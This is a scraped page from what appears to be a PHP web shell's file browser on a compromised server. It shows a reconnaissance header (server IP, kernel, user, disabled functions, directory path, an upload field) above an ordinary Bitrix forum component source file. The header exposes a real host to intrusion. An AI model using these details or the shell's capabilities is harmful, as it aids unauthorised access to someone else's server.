%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.142.172.166 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/forum.index/ |
Upload File : |
<?define("STOP_STATISTICS", true); require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php"); // ************************************************************************************** if(!function_exists("__UnEscape")) { function __UnEscape(&$item, $key) { if(is_array($item)) array_walk($item, '__UnEscape'); else { if(mb_strpos($item, "%u") !== false) $item = $GLOBALS["APPLICATION"]->UnJSEscape($item); } } } array_walk($_REQUEST, '__UnEscape'); if ($GLOBALS["USER"]->IsAuthorized()) { require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/classes/".mb_strtolower($GLOBALS["DB"]->type)."/favorites.php"); $arGroup = CUserOptions::GetOption("forum", "GroupHidden", ""); $arGroup = (CheckSerializedData($arGroup) ? @unserialize($arGroup, ["allowed_classes" => false]) : array()); if (!is_array($arGroup)) $arGroup = array(); $_REQUEST["group"] = intval($_REQUEST["group"]); if ($_REQUEST["group"] > 0) { if (!in_array($_REQUEST["group"], $arGroup)) $arGroup[] = $_REQUEST["group"]; else { foreach ($arGroup as $key => $val): if ($val == $_REQUEST["group"]) unset($arGroup[$key]); endforeach; } CUserOptions::SetOption("forum", "GroupHidden", serialize($arGroup)); } } elseif (COption::GetOptionString("forum", "USE_COOKIE", "N") == "Y") { $sCookie = $_COOKIE[COption::GetOptionString("main", "cookie_name", "BITRIX_SM")."_FORUM_GROUP"]; $arGroup = explode("/", $sCookie); if ($_REQUEST["group"] > 0) { if (!in_array($_REQUEST["group"], $arGroup)) $arGroup[] = $_REQUEST["group"]; else { foreach ($arGroup as $key => $val): if ($val == $_REQUEST["group"]) unset($arGroup[$key]); endforeach; } $GLOBALS["APPLICATION"]->set_cookie("FORUM_GUEST", implode("/", $arGroup), false, "/", false, false, "Y", false); } } ?>